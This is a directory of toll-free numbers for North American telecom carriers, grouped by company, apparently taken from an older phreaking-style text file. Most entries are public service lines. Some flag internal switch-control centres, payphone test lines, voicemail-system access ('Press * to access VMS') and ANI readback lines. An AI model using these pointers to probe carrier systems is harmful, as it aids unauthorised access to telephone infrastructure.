Telesat. +1-800-361-1423 Bell Canada (Dis)Advantage Conferencing. +1-800-361-3489 Bell Canada Customer Billing Center. +1-800-361-6010 Bell ActiMedia Yellow Pages. +1-800-361-7874 Bell Canada Millennium (Unknown) +1-800-361-8717 Bell Canada Professional Services. (Montreal) +1-800-361-9844 Bell Canada SmartTouch Information Line. (French) +1-800-363-2355 Bell Canada's Total Solution Center for Business. +1-800-363-3781 Bell Mobility Paging. +1-800-363-5001 Bell ActiMedia Yellow Pages. +1-800-363-6522 Stentor Calling Card Centre. +1-800-363-9612 Bell Technical Services. +1-800-387-4411 Bell Canada's Business Direct Marketing Centre. +1-800-387-4441 Bell Advantage Call Centre Solutions. (Telemarketing) +1-800-387-5072 Bell Mobility's Activation Department. +1-800-387-5185 Bell Phonecentre Information Line. +1-800-387-9571 Bell Mobility Radio. +1-800-387-9999 Bell Gardium Security Representative. +1-800-405-6486 Telecom Canada Ltd. +1-800-439-2355 Direct Bell. (Wireless Communications) +1-800-461-1156 Bell ActiMedia. +1-800-461-1747 Bell Canada Millennium (Voice Test) +1-800-461-1760 Bell Canada Millennium (Unknown) +1-800-461-1879 Bell Canada Millennium (Data Test) +1-800-461-2921 Bell Canada SmartTouch Information Line. +1-800-461-5711 Northern Telephone. +1-800-461-7243 Bell ActiMedia Sales Office. (formerly Yellow Pages Tele-Direct) +1-800-461-9819 Northern Telephone Ltd. +1-800-463-4778 Bell Canada Professional Services. (Quebec City) +1-800-463-4833 Bell ActiMedia Yellow Pages. +1-800-463-5376 Bell CSR-Quebec (Quebec City) +1-800-465-2355 Bell Mobility. +1-800-465-6960 Bell ActiMedia. +1-800-470-2355 Bell Mobility. +1-800-491-2355 Pacific Link Communications Mississauga (Bell Mobility Center) +1-800-521-CORE Bellcore. +1-800-555-1111 Bell LD. 3 way calling, calling card and many other features. +1-800-555-4999 Bell Canada Residential and Business Service. +1-800-561-0934 BCE Inquiry Line. +1-800-561-2355 Bell Mobility. (French) +1-800-561-4459 NBTel Internet. +1-800-561-6283 NBTel Customer Care Center. +1-800-561-8868 Stentor's Country Direct Information Line. +1-800-561-8888 Stentor's Calling Card Centre. +1-800-563-2900 NewTel Communications. +1-800-563-3794 Bell Mobility (Ottawa Office) +1-800-563-5150 NewTel Mobility. +1-800-563-5400 NewTel Communications. +1-800-563-7171 NewTel Communications. +1-800-563-7988 Newfoundland Telephones Mobile Service Department. (NewTel) +1-800-563-8700 NewTel Communications. +1-800-565-1290 Tele-Direct Atlantic. +1-800-565-1570 IslandTel Repair Service. +1-800-565-4287 IslandTel Business Inquiries. +1-800-565-4737 IslandTel Business Office. +1-800-565-4737 IslandTel. +1-800-565-6283 NBTel Customer Care Centre. +1-800-565-8884 NBTel Express. +1-800-567-1811 Bell Electronic Business Solutions Information Center. +1-800-567-2448 Bell Canada Millennium (Test Line) +1-800-567-9633 Bell Canada. +1-800-574-2455 IslandTel. +1-800-583-3746 Bell Canada First Rate. +1-800-611-6500 Bell Mobility Cellular. +1-800-641-2311 Bell Canada Customer Service. (French - Press "2" for English) +1-800-665-1800 NBTel. +1-800-665-6000 NewTel Express. +1-800-667-0123 Bell Mobility's Automated Express Lane System. +1-800-667-6030 Bell Canada (French) +1-800-667-6283 NBTel. +1-800-668-0911 BCE Mobile Communications Inc. +1-800-668-2355 Bell Canada. +1-800-668-4862 Bell Canada Millennium (Coin) +1-800-668-6851 Bell Canada Millennium (Alarm) +1-800-668-6878 Bell Direct. (U.S. and Canada) +1-800-668-8868 Stentor. (Cantonese and Mandarin) +1-800-668-9090 Bell Information Systems Repair Service. +1-800-668-9608 Bell Canada Switch Control Centre. +1-800-668-9716 Bell Canada Employment Centre. (Press "*" to access VMS) +1-800-668-9877 Telesat. +1-800-724-4443 Bell Sympatico. +1-800-749-0764 Bell Canada Human Resources. +1-800-749-2538 Bell Canada. (Toronto Office) +1-800-749-3081 Bell Canada Office. +1-800-749-3085 Bell Canada Ontario Control Centre. +1-800-749-3279 Bell Canada Business Sales. +1-800-749-3743 Bell Canada. (Toronto Office) +1-800-749-3745 Bell Canada Ontario Control Centre. +1-800-749-4198 Bell Canada Ontario Control Centre. +1-800-749-4208 Bell Canada Ontario Control Centre. +1-800-749-9362 Bell Canada Ontario Control Centre. (Regional Manager) +1-800-749-9770 Bell Canada. (Toronto Office) +1-800-768-2220 Bell (VIC) Voice Interactive Communications System. +1-800-772-2141 Bell Canada Millennium (Setshop) +1-800-773-2121 Sympatico Customer Service. (Bell Canada's Internet service) +1-800-789-9073 Bell Simple Connections. +1-800-803-0077 Bell QuickChange Cards Customer Service. +1-800-847-7303 Bell Minor Hockey Hotline. +1-800-848-8353 Bell ActiMedia (Tele-Direct) Customer Service. +1-800-855-0511 Bell Canada Relay Service (BCRS) Operator. +1-800-862-6330 MTS (Manitoba Telephone System) +1-800-889-4670 Bell Canada's Total Solution Center for Business. +1-800-889-4672 Bell Canada Business. +1-800-889-4676 Bell Canada Business. +1-800-889-4681 Bell Advantage Internet Interactive Information System. +1-800-889-4686 Bell Canada's Business Direct Marketing Centre. +1-800-889-4690 Bell Canada Small and Medium Business. +1-800-889-4691 Bell Advantage Internet Interactive Information System. +1-800-931-3282 IslandTel Data Communications. +1-800-936-6245 IslandTel. (IslandTel Express="1") +1-800-938-4442 IslandTel Express. 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(Chinese) +1-877-241-6228 Bell Sympatico High Speed Edition Internet Service. +1-877-268-4273 Bell Gardium Sales Department. +1-877-318-0859 Bell Sympatico. +1-877-327-9598 Bell Sympatico. +1-877-327-9630 Bell Canada's Interactive Sympatico Ordering Service. +1-877-35-SPEED Bell Sympatico. +1-877-381-BELL Bell Mobility. +1-877-486-3472 Bell Canada's Interactive Sympatico Ordering Service. +1-877-499-1260 Bell Canada's SmartTouch Promotion Line. +1-877-499-1263 Bell Canada's SmartTouch Line. +1-877-4PERCALL Bell Canada's (Dis)Advantage Per Call. +1-877-500-2688 Bell Canada's Interactive Sympatico Ordering Service. +1-877-500-2693 Bell Canada's Interactive Sympatico Ordering Service. +1-877-500-2694 Bell Canada's Interactive Sympatico Ordering Service. +1-877-500-2699 Bell Canada's Interactive Sympatico Ordering Service. +1-877-506-BELL Bell ExpressVu. +1-877-51-SPEED Bell Sympatico Internet Services. +1-877-518-BELL Bell ExpressVu. +1-877-520-BELL Bell ExpressVu. +1-877-521-BELL Bell ExpressVu. +1-877-540-8222 Bell Canada's Interactive Sympatico Ordering Service. +1-877-595-0210 Bell ActiMedia. +1-877-60-SPEED Bell Sympatico. +1-877-652-4119 Bell's SmartTouch Promotion. +1-877-70-SPEED Bell Sympatico. +1-877-723-4400 Bell Mobility Totalcom. +1-877-733-BELL Bell Canada Direct Marketing Business Center. +1-877-763-BELL Bell Canada's Total Solution Center for Business Customers. +1-877-801-BELL Bell Canada's Direct Marketing Business Centre. +1-877-811-6891 Bell Sympatico High Speed Edition. +1-877-811-6892 Bell Sympatico High Speed Edition. +1-877-811-6893 Bell Sympatico High Speed Edition. +1-877-811-6894 Bell Sympatico High Speed Edition. +1-877-811-6895 Bell Sympatico High Speed Edition. +1-877-828-8686 IslandTel Sales. +1-877-885-2424 Bell First Rate 24 Hour Enrollment Service. +1-877-90-SPEED Bell Sympatico. +1-877-91-SPEED Bell Sympatico. +1-877-92-SPEED Bell Sympatico. +1-877-96-SPEED Bell Sympatico. +1-877-99-SPEED Bell Sympatico. +1-877-999-2355 Bell Canada's Voice Response System. +1-877-AIT-3113 Aliant Investor Relations. +1-877-ALL-WKND Bell Mobility. +1-877-BELLCORE Telcordia Technologies. (formerly known as Bellcore) +1-877-BUNDLE-1 Bell Canada's Direct Marketing Centre. +1-877-FIRSTRATE Bell First Rate Interactive Information and Enrollment Service. +1-877-SIMPLY-1 Bell Mobility Simply One Plan. +1-888-217-6533 Bell Mobility Pager. +1-888-217-6535 Bell Mobility Pager. +1-888-217-6538 Bell Mobility Pager. +1-888-217-6539 Bell Mobility Pager. +1-888-217-6540 Bell Mobility Service. +1-888-24-FIRST Bell First Rate Interactive Information and Enrollment Service. +1-888-242-2355 Bell (Spanish) +1-888-291-6799 Bell Mobility Order Desk. +1-888-299-0977 Bell Canada's Interactive Sympatico Ordering Service. +1-888-308-5640 Bell Mobility Paging. +1-888-333-4454 Bell Equipement D Imprimerie. +1-888-368-9110 Northwestel Account Manager. +1-888-377-2355 Bell First Rate Interactive Information and Enrollment Service. +1-888-378-2355 Bell Canada's Ontario Direct Marketing Center. +1-888-386-5555 Stentor Communications Production Fund. +1-888-388-2355 Bell Direct in Canada. (the same as 310-BELL) +1-888-4-662453 (1-888-4-MOBILE) Bell Mobility Cellular. +1-888-423-2333 Northwestel Business Support Centre. +1-888-433-0317 Bell Sympatico. +1-888-442-0222 Bell Mobility Accounts Receivable. +1-888-457-7308 Bell Mobility Order Desk. +1-888-457-7309 Bell Mobility. +1-888-457-7310 Bell Mobility. +1-888-490-3001 Tele-Direct Atlantic. +1-888-502-2222 Bell Canada. (Chinese/Vietnamese.) +1-888-505-2222 Bell Canada. (Chinese/Vietnamese.) +1-888-506-2222 Bell Canada. (Italian) +1-888-512-2222 Bell Canada. (Chinese/Vietnamese.) +1-888-513-2222 Bell Canada East and South Asian Hotline. +1-888-515-2222 Bell Canada East and South Asian Hotline. +1-888-519-2222 Bell Canada East and South Asian Hotline. +1-888-521-2222 Bell Canada Operator. +1-888-527-2222 Bell Canada's Direct Marketing Centre. +1-888-531-2222 Bell Canada Operator. +1-888-532-2222 Bell Canada's Direct Marketing Centre. +1-888-538-2222 Bell Canada's Direct Marketing Centre. +1-888-542-3784 Bell Mobility Out of the Box Program. +1-888-597-9999 Schwab Canada QUALCOMM Digital PCS phone from Bell Mobility. +1-888-739-2737 (1-888-REWARDS) Bell Total Rewards. +1-888-788-2355 Bell Canada Business Consulting Group. +1-888-794-0777 Stentor Canadian Network Management. +1-888-796-1825 Bell (Dis)Advantage Internet Solutions. +1-888-865-2239 Bell Mobility Pager. +1-888-904-2355 Bell First Rate Interactive Information and Enrollment Service. +1-888-932-6666 BCE Corp. Communications. +1-888-DIRECPC Telesat Canada's Direct PC Customer Care Centre. + + +------------------------------------------------------------------------------- + BellSouth: +------------------------------------------------------------------------------- + +1-800-237-6432 BellSouth Advertising and Publishing. +1-800-285-2355 BellSouth. +1-800-419-2355 BellSouth. (Spanish) +1-800-436-8638 BellSouth Internet Home. (U.S. only) +1-800-451-6549 BellSouth Customer Service. +1-800-541-1229 BellSouth Financial Services. +1-800-639-2455 BellSouth Billing Services. +1-800-733-2355 BellSouth Phones. +1-800-753-0223 BellSouth Order Line. +1-800-767-2355 BellSouth Automated Billing Services. +1-800-775-2355 BellSouth Phones. +1-800-831-4323 BellSouth. +1-800-832-6338 BellSouth Memory Call Service. +1-800-842-1558 BellSouth Benefits Service Center. +1-800-858-9413 BellSouth ISDN order line. +1-800-925-0010 BellSouth Communications Systems. +1-800-925-0049 BellSouth Equipment/Customer Changes. (U.S. only) +1-800-925-2525 BellSouth Business. +1-800-962-3387 BellSouth Advertising and Publishing. +1-800-995-9999 BellSouth Phones. +1-800-BELL-SOUTH Collect, Calling Card and Credit Card calls. +1-877-377-BELL BellSouth Mobility. +1-877-464-BELL BellSouth Mobility Employment Line. +1-877-921-BELL BellSouth. +1-877-955-BELL BellSouth Rewards. +1-877-TELEFONE BellSouth. +1-888-201-2355 BellSouth Benefit Enrollment System. +1-888-203-2355 BellSouth. +1-888-327-2355 BellSouth Mobility Area Code Reprogramming Department. +1-888-383-2355 BellSouth Cellular Fraud Prevention Center. +1-888-462-8033 BellSouth COCOT Repair. +1-888-543-2355 BellSouth Internet Business. +1-888-837-1668 BellSouth Telecom Rental Services. + + +------------------------------------------------------------------------------- + Cellular One: +------------------------------------------------------------------------------- + +1-800-270-4444 Cellular One. +1-800-369-2355 Cellular One. +1-800-381-2355 Cellular One. +1-800-487-2355 Cellular One Customer Service. +1-800-514-2355 Cellular One's Welcome line. +1-800-567-2355 Cellular One. +1-800-604-2355 Cellular One. +1-800-670-2355 Communication One (authorized agent of Cellular One) +1-800-CELL-ONE Cellular One. (U.S. only) +1-877-CELLFONE Cellular One's Voicemail Help line. +1-888-345-2355 Cellular One Dispatch. +1-888-522-2355 Cellular One. +1-888-562-2355 Cellular One's Job Hotline. +1-888-681-2355 Cellular One. +1-888-CELLPHONE Cellular One. +1-888-CELLULAR Cellular One Sales Office. + + +------------------------------------------------------------------------------- + GTE: +------------------------------------------------------------------------------- + +1-800-225-5160 GTE Corporation Teleservicing System. +1-800-225-5483 (1-800-CALL-GTE) GTE Long Distance. +1-800-272-3466 GTE Internetworking. +1-800-346-5800 GTE Business Sales Center. +1-800-347-5665 GTE Express. (Cellular) +1-800-366-4834 (1-800-FON-GTE4) GTE Personnel-only question line. (U.S. only) +1-800-366-4835 (1-800-FON-GTE5) GTE Personnel-only question line. +1-800-366-5665 GTE Express. (Cellular) +1-800-413-4233 GTE Education Assistance Program. +1-800-428-8722 GTE Superpages Internet Services. +1-800-445-5288 GTE Business Sales Center. +1-800-445-5586 GTE Conference Connections Billing Department. +1-800-445-7920 GTE Airfone. +1-800-448-3795 GTE. +1-800-472-4565 GTE Internetworking. (U.S. only) +1-800-483-1000 (1-800-GTE-1000) GTE Repair Center. +1-800-483-2273 (1-800-GTE-CARD) GTE Calling Card Services. +1-800-483-3000 GTE Billing Center. +1-800-483-3600 GTE North Customer Billing Center. +1-800-483-4000 GTE California Customer Service Ordering Center. +1-800-483-4839 GTE Business Response Center. +1-800-483-5000 GTE California Business Sales Center. +1-800-483-5288 GTE Headquarters in Irving, TX. +1-800-483-5400 GTE Business Sales Center. +1-800-483-5559 GTE. +1-800-483-5781 GTE Wireless. +1-800-483-7243 (1-800-GTE-PAGE) GTE Paging. +1-800-483-7479 GTE Hawaiian Tel's Business Sales Center. +1-800-483-8494 GTE Long Distance. +1-800-527-2558 GTE Business Response Center. +1-800-643-0997 GTE Bank Card Center. +1-800-670-9320 GTE Paging. +1-800-727-2355 GTE Wireless. +1-800-787-9689 GTE Customer Service. +1-800-826-1311 GTE Billing Center. +1-800-877-5665 GTE Express. (Cellular) +1-800-888-8448 GTE Directory Order Center. +1-800-892-9600 GTE. +1-800-927-3000 GTE Internet. +1-800-AIRFONE GTE Airfone. +1-877-205-7743 GTE National Support Center. +1-888-483-0022 GTE Government Systems. +1-888-483-4555 GTE Internet. +1-888-681-3279 GTE Airfone. (call aircraft while they're in-flight) +1-888-AIRFONE GTE Airfone. + + +------------------------------------------------------------------------------- + Lucent Technologies: +------------------------------------------------------------------------------- + +1-800-222-3111 Lucent Technologies. (St Louis, MO) +1-800-222-6111 Lucent Technologies Consumer Products. +1-800-228-1938 Lucent Technologies Calibration and Repair Services. +1-800-237-0016 Lucent Technologies. +1-800-242-2121 Lucent Technologies (PBX systems info, VMS info on Audix, etc.) +1-800-289-0609 Lucent Technologies National Customer Care Center. +1-800-322-2016 Lucent Technologies National Customer Care Center. +1-800-342-5677 Lucent Technologies Technical Services Organization. +1-800-344-0223 Lucent Technologies Inside Sales Department at the CRC. +1-800-344-9670 Lucent Technologies National Customer Care Center. +1-800-387-4268 Lucent Technologies. +1-800-4-LUCENT Lucent Technologies. +1-800-432-6600 Lucent Technologies Customer Information Center. +1-800-451-2100 Lucent Technologies Cincinnati Customer Care Center. +1-800-457-1235 Lucent Technologies BCS Publications Center. +1-800-526-2000 Lucent Technologies NSAC. +1-800-56-AUDIX Lucent Technologies. (telephone systems, Definity, AUDIX, etc.) +1-800-628-2888 Lucent Technologies National Customer Care Center. +1-800-643-2353 Lucent Technologies National Customer Care Center. +1-800-811-1802 Lucent Technologies Special Customer Operations. +1-800-821-8204 Lucent Technologies Multi-Media Applications Customer Support. +1-800-822-2000 Lucent Technologies. +1-800-852-0246 Lucent Technologies. +1-877-4-LUCENT Lucent Technologies. +1-888-4-LUCENT Lucent Technologies Canada. +1-888-LUCENT-6 Lucent Technologies Shareholder Services. +1-888-LUCENT-8 Lucent Technologies. + + +------------------------------------------------------------------------------- + MCI WorldCom: +------------------------------------------------------------------------------- + +1-800-225-5888 MCI WorldCom Operator Services. +1-800-254-8991 MCI WorldCom Customer Service. (U.S. only) +1-800-264-1000 MCI WorldCom Customer Service. +1-800-265-5328 MCI's 1-800-COLLECT. Automated collect calls. +1-800-267-7320 Network MCI. +1-800-270-6245 WorldCom VMS. ("Please enter the # sign followed by your BN") +1-800-275-0200 MCI WorldCom Residential/Business Customer Service. +1-800-275-1234 MCI WorldCom. Accepts calling cards for phone calls. +1-800-294-3496 MCI WorldCom. +1-800-333-1000 MCI WorldCom Commercial Customer Service. +1-800-333-2000 MCI WorldCom. +1-800-333-5000 MCI WorldCom Residential Service. +1-800-336-0149 MCI WorldCom Worldwide Customer Care and Global Product Support. +1-800-374-6400 MCI WorldCom Local Customer Service. +1-800-401-9997 MCI WorldCom. +1-800-432-4557 MCI WorldCom Account Services. (U.S. only) +1-800-444-1111 MCI WorldCom's Global Technical Service Center. +1-800-444-3333 MCI WorldCom Customer Service. (U.S. only) +1-800-444-4444 MCI WorldCom. +1-800-444-6242 MCI. +1-800-444-6245 MCI Mail Messaging and Technical Support. +1-800-444-7000 MCI WorldCom St. Louis Business Market Sales Office. +1-800-451-7220 MCI WorldCom. +1-800-455-1605 Network MCI System. +1-800-455-2957 Network MCI System. +1-800-455-4215 Network MCI System. +1-800-455-5469 Network MCI System. +1-800-455-6084 Network MCI Interactive Paging Service. +1-800-455-6504 Network MCI System. +1-800-455-6513 Network MCI System. +1-800-455-6780 Network MCI System. +1-800-455-6834 Network MCI System. +1-800-455-7806 Network MCI System. +1-800-455-7854 Network MCI System. +1-800-455-7920 Network MCI System. +1-800-456-0253 MCI WorldCom. +1-800-475-0138 MCI WorldCom. +1-800-475-5628 MCI WorldCom Paging System. +1-800-475-9321 MCI WorldCom. +1-800-483-4929 Network MCI System. +1-800-483-8784 Network MCI System. +1-800-539-2000 MCI WorldCom Business Services. +1-800-554-5778 MCI WorldCom Prepaid Cellular. +1-800-555-4668 Network MCI System. +1-800-627-2355 MCI WorldCom Administrative Offices. +1-800-630-6759 MCI WorldCom. +1-800-637-2255 MCI WorldCom. +1-800-644-NEWS MCI WorldCom Public Relations. +1-800-645-2355 MCI WorldCom. +1-800-666-1904 MCI WorldCom. (U.S. only) +1-800-666-2612 MCI WorldCom Small Business Department. +1-800-666-2613 MCI WorldCom. +1-800-674-2355 MCI WorldCom (calling card calls) +1-800-688-4889 MCI National Relay Service in the U.S. (TTY) +1-800-701-9358 MCI WorldCom. (U.S. only) +1-800-701-9360 MCI WorldCom. (U.S. only) +1-800-724-3624 (1-800-PAGE-MCI) MCI WorldCom Paging System. +1-800-727-5555 MCI Small Business Accounts. (U.S. only) +1-800-749-0800 MCI WorldCom. +1-800-749-9600 MCI WorldCom. +1-800-827-4690 MCI WorldCom Paging System. +1-800-827-4750 MCI WorldCom Paging System. +1-800-827-9983 MCI WorldCom Corporate Accounts. +1-800-827-9987 MCI WorldCom Corporate Accounts. +1-800-864-4060 MCI WorldCom Wholesale Services. +1-800-872-7654 MCI WorldCom's EDI Group. +1-800-876-8581 Network MCI. +1-800-877-9320 Network MCI. +1-800-888-8000 MCI WorldCom automated calling card calls. +1-800-909-3175 MCI WorldCom Pre-paid Card System +1-800-909-3180 MCI WorldCom Pre-paid Card System +1-800-909-3197 MCI. (Spanish) +1-800-933-0902 MCI WorldCom. +1-800-938-6374 MCI WorldCom Customer Service. +1-800-944-0700 MCI WorldCom Wireless. +1-800-947-8642 MCI National Relay Service in the U.S. (voice) +1-800-950-1022 MCI WorldCom Customer Service. +1-800-950-5555 MCI WorldCom. +1-800-999-7700 MCI WorldCom. +1-800-COLLECT MCI WorldCom automated collect calls. +1-800-EVERYDAY MCI WorldCom. +1-800-MCI-LOCAL MCI WorldCom Local Customer Service. +1-800-SUNDAYS MCI WorldCom. +1-800-WORLDCOM WorldCom. +1-877-589-CELL MCI WorldCom Paging System. +1-877-897-CELL MCI WorldCom Cellular Message Center. +1-877-957-CELL MCI WorldCom Paging System. +1-877-958-2355 MCI WorldCom Paging System. +1-877-960-2355 MCI WorldCom Paging System. +1-877-961-2355 MCI WorldCom Paging System. +1-888-575-2355 MCI WorldCom. +1-888-624-2355 MCI WorldCom. +1-888-624-9266 MCI WorldCom Sales Office. +1-888-655-2355 Network MCI Contact. +1-888-724-3624 (1-888-PAGE-MCI) MCI WorldCom Paging System. + + +------------------------------------------------------------------------------- + MT&T: +------------------------------------------------------------------------------- + +1-800-227-7401 MT&T Mpowered PC Member Services. +1-800-422-5978 MT&T Mobility. +1-800-461-5533 MT&T Billing, Accounts and Repairs. +1-800-529-7371 MT&T Data Service. (Repair) +1-800-561-6364 MT&T Data Services. +1-800-565-1881 MT&T Business Customer Service Centre. +1-800-565-4003 MT&T. +1-800-565-4800 MT&T. +1-800-565-5065 MT&T Residence Telemarketing. +1-800-565-6188 MT&T Express. (press "1" for ANI) +1-800-565-7102 MT&T. +1-800-565-CARD MT&T Calling Card Services. +1-800-626-5552 MT&T Data Communications Sales and Repairs. +1-800-665-5614 MT&T. +1-800-688-9811 MT&T. +1-800-722-2121 MT&T Sympatico. +1-800-776-4555 MT&T Business Office. +1-888-334-VALUE MT&T. + + +------------------------------------------------------------------------------- + Nortel Networks: +------------------------------------------------------------------------------- + +(613) 226-5456 Nortel Emergency Technical Assistance Support. (Ottawa Office) +1-800-328-6760 Nortel Networks (Minnetonka, MN) +1-800-461-3196 Nortel Networks (Milton, ON) +1-800-466-7835 (1-800-4-NORTEL) Nortel Networks. (Northern Telecom) +1-800-638-9302 Nortel Networks Customer Care Center. +1-800-665-2827 Nortel Networks Customer Technical Services After Hours Support. +1-800-668-1717 Nortel Networks Global Customer Care Center. +1-800-668-5511 Nortel Networks Customer Repair and Return Services. +1-800-684-2255 Nortel's Meridian Home Office Support/Info. +1-800-684-9996 Nortel Networks Software Applications Status Line. +1-800-833-7477 Nortel Networks. +1-800-896-8944 Nortel Networks. (Fax) +1-800-NORTEL-1 Nortel Networks Information Line for Resellers. +1-877-4-NORTEL Nortel Networks. +1-888-4-NORTEL Nortel Networks VMS. + + +------------------------------------------------------------------------------- + Pacific Bell: +------------------------------------------------------------------------------- + +1-800-228-7102 Pacific Bell Smart Yellow Pages. +1-800-241-3000 Pacific Bell Quickservice. (U.S. Only) +1-800-248-2800 Pacific Bell Smart Yellow Pages. +1-800-286-8111 Pacific Bell Spanish Yellow Pages. +1-800-310-BELL Pacific Bell. (U.S. Only) +1-800-453-4539 Pacific Bell Directory Major Market. (U.S. only) +1-800-4PB-ISDN Pacific Bell FasTrak DSL Center. (U.S. only) +1-800-528-0000 Pacific Bell Business Products. (U.S. Only) +1-800-750-2355 Pacific Bell Customer Service. (U.S. Only) +1-800-782-8353 Pacific Bell (to report any payphone crimes) +1-800-848-8000 Pacific Bell Directory Smart Resource Center. +1-800-933-2355 Fulfillment Plus. (Pacific Bell authorized agent) +1-800-953-4400 Pacific Bell Phone Book Recycling. (California Only) +1-800-PAC-BELL Pacific Bell. (U.S. Only) +1-877-909-BELL Pacific Bell's Customer Service for the Message Center. +1-888-755-2355 Pacific Bell Equipment. +1-888-775-2355 Pacific Bell Equipment. + + +------------------------------------------------------------------------------- + Qwest: +------------------------------------------------------------------------------- + +1-800-256-1410 Qwest Communications Corporate News Bureau. +1-800-460-1111 Qwest Customer Service. +1-800-460-2222 Qwest. +1-800-460-3333 Qwest. +1-800-524-5249 Qwest Communications Customer Service. +1-800-524-7258 Qwest Communications. +1-800-567-7296 Qwest Communications Investor Relations. +1-800-600-9196 Qwest Communications VMS. +1-800-860-2255 Qwest Communications. +1-800-899-7780 Qwest Communications. +1-800-968-1287 Qwest Communications. +1-800-968-3986 Qwest Communications. +1-800-RIDEQWEST Qwest. +1-877-877-7978 Qwest Shareholder Communication Service. +1-888-452-6200 Qwest. +1-888-793-7811 Qwest Communications Career Line. (Job Listings) + + +------------------------------------------------------------------------------- + SaskTel: +------------------------------------------------------------------------------- + +1-800-667-3500 SaskTel Business Solutions. +1-800-667-5801 SaskTel International Head Office. +1-800-667-6840 SaskTel Mobility Customer Service. +1-800-667-6870 SaskTel Mobility Technical Support/Repair. +1-800-667-BELL SaskTel Mobility. +1-800-727-5835 SaskTel Residential Customer Care Centre. +1-800-871-3011 SaskTel Satellite Service. +1-800-900-3638 SaskTel FleetNet 800 and Wireless Data Service. +1-800-975-1969 SaskTel. +1-800-SASKTEL SaskTel Billing and Inquiries. +1-877-337-2445 SaskTel Corporate Affairs. +1-888-226-7788 SaskTel Business Customer Care Centre. + + +------------------------------------------------------------------------------- + Southwestern Bell: +------------------------------------------------------------------------------- + +1-800-225-5792 (1-800-CALL-SWB) SBC Wireless National Services. +1-800-248-8484 SBC Datacom. +1-800-351-7221 SBC Shareowner Services. +1-800-438-5678 Southwestern Bell Lost/Stolen Calling Cards. +1-800-441-1267 Southwestern Bell Yellow Pages. +1-800-443-6200 Southwestern Bell Yellow Pages. +1-800-468-6792 (1-800-GO-TO-SWB) Southwestern Bell's Employee Locator. +1-800-479-2977 Southwestern Bell Yellow Pages. +1-800-522-6909 Southwestern Bell Yellow Pages and Advertising Services. +1-800-528-BELL Southwestern Bell Yellow Pages Business Office. +1-800-600-BELL Southwestern Bell (calling card/collect calls) +1-800-792-2665 (1-800-SWB-BOOK) Southwestern Bell Directory Source. +1-800-792-4638 (1-800-SWB-INET) Southwestern Bell Internet Services. +1-800-909-3285 Southwestern Bell Wireless. +1-888-455-2355 Southwestern Bell Long Distance. +1-888-544-8847 Southwestern Bell Quick Service. +1-888-792-3751 Southwestern Bell DSL Service. +1-915-683-9145 Southwestern Bell Employee Locator (Automated) + + +------------------------------------------------------------------------------- + Sprint: +------------------------------------------------------------------------------- + +1-800-210-2273 Sprint Long Distance. +1-800-213-5430 Sprint. +1-800-215-8037 Sprint Solutions Center. +1-800-227-9892 Sprint. +1-800-256-8340 Sprint Canada. +1-800-277-7468 Sprint Phone Card and Collect calls. +1-800-308-MOST Sprint Canada. +1-800-322-3090 Sprint BusinessFlex. +1-800-336-MOST Sprint Canada. +1-800-344-9667 Sprint. +1-800-344-9679 Sprint "Nickel Nights" +1-800-344-9690 Sprint "Nickel Nights" +1-800-348-MOST Sprint Canada. +1-800-349-MOST Sprint Canada. +1-800-359-2255 Sprint Voice Phone Card. +1-800-361-9342 Sprint Canada Customer Service. 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(U.S. only) +1-800-749-MOST Sprint Canada. +1-800-777-4681 (1-800-SPRINT-1) Sprint Paging. +1-800-777-4683 (1-800-SPRINT-3) Sprint Selections. +1-800-801-MOST Sprint Canada. +1-800-810-MOST Sprint Canada. +1-800-827-2200 Sprint Business. +1-800-827-3700 Sprint Long Distance. +1-800-827-4680 Sprint Business. +1-800-827-4685 Sprint's Global One Customer Service Center. +1-800-827-4700 Sprint Long Distance. +1-800-827-4800 Sprint Business Sales Office. +1-800-827-9080 Sprint. +1-800-830-MOST Sprint Canada. +1-800-831-MOST Sprint Canada. +1-800-840-MOST Sprint Canada "The Most" Enrollment. +1-800-841-MOST Sprint Canada. +1-800-843-6678 (1-800-THE-MOST) Sprint Canada. +1-800-859-8888 Sprint Canada Operator. +1-800-873-9350 Sprint Canada. +1-800-874-5069 Sprint Canada. +1-800-877-4453 Sprint Employee News line. (U.S. only. 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(Internet) +1-800-FON-CARD Sprint's automated calling. +1-877-283-2933 Sprint. +1-877-283-2934 Sprint's Business Line. +1-877-283-2935 Sprint Automated Customer Service. +1-877-4-NIGHTS Sprint Nickel Nights. +1-877-4-WEEKENDS Sprint Weekends. +1-877-4-YOURPLAN Sprint BusinessFlex. +1-877-431-EASY Sprint Canada Easy Unlimited. +1-877-508-XTRA Sprint Canada "The Most" Online. +1-877-525-XTRA Sprint Canada "The Most" Online. +1-877-533-XTRA Sprint Canada "The Most" Online. +1-877-537-XTRA Sprint Canada "The Most" Online. +1-877-591-EASY Sprint Canada Easy Unlimited. +1-877-592-EASY Sprint Canada Easy Unlimited. +1-877-597-EASY Sprint Canada Easy Unlimited. +1-877-598-EASY Sprint Canada Easy Unlimited. +1-877-5CONTACT Sprint. +1-877-602-EASY Sprint Canada Easy Unlimited. +1-877-727-5835 Sprint PCS. +1-877-770-7928 Sprint Canada Ascenda. +1-877-901-7400 Sprint Canada Ascenda. +1-877-903-1553 Sprint Canada Ascenda. +1-877-906-MOST Sprint Canada. +1-877-914-XTRA Sprint Canada "The Most" Online. +1-877-931-EASY Sprint Canada Easy Unlimited. +1-877-935-EASY Sprint Canada Easy Unlimited. +1-877-939-EASY Sprint Canada Easy Unlimited. +1-877-940-EASY Sprint Canada Easy Unlimited. +1-877-941-EASY Sprint Canada Easy Unlimited. +1-877-943-EASY Sprint Canada Easy Unlimited. +1-877-945-EASY Sprint Canada Easy Unlimited. +1-877-950-EASY Sprint Canada Easy Unlimited. +1-877-951-EASY Sprint Canada Easy Unlimited. +1-877-953-EASY Sprint Canada Easy Unlimited. +1-877-955-EASY Sprint Canada Easy Unlimited. +1-877-PCS-PERKS Sprint PCS Northwest Airlines Program. +1-888-220-3763 Sprint Canada's "The Most" Online. +1-888-236-EASY Sprint Canada's "The Most" Online. +1-888-254-0701 Sprint Canada's "The Most" Online. +1-888-254-2927 Sprint Canada. +1-888-276-2179 Sprint PCS. +1-888-296-EASY Sprint Canada. +1-888-345-0718 Sprint Canada's "The Most" Online. +1-888-369-DATA Sprint. +1-888-371-EASY Sprint Canada. +1-888-4-SPRINT Sprint Business. +1-888-456-EASY Sprint Canada. +1-888-490-EASY Sprint Canada's "The Most" Online. +1-888-496-EASY Sprint Canada. +1-888-510-EASY Sprint Canada. +1-888-512-EASY Sprint Canada. +1-888-579-EASY Sprint Canada. +1-888-581-EASY Sprint Canada. +1-888-621-EASY Sprint Canada. 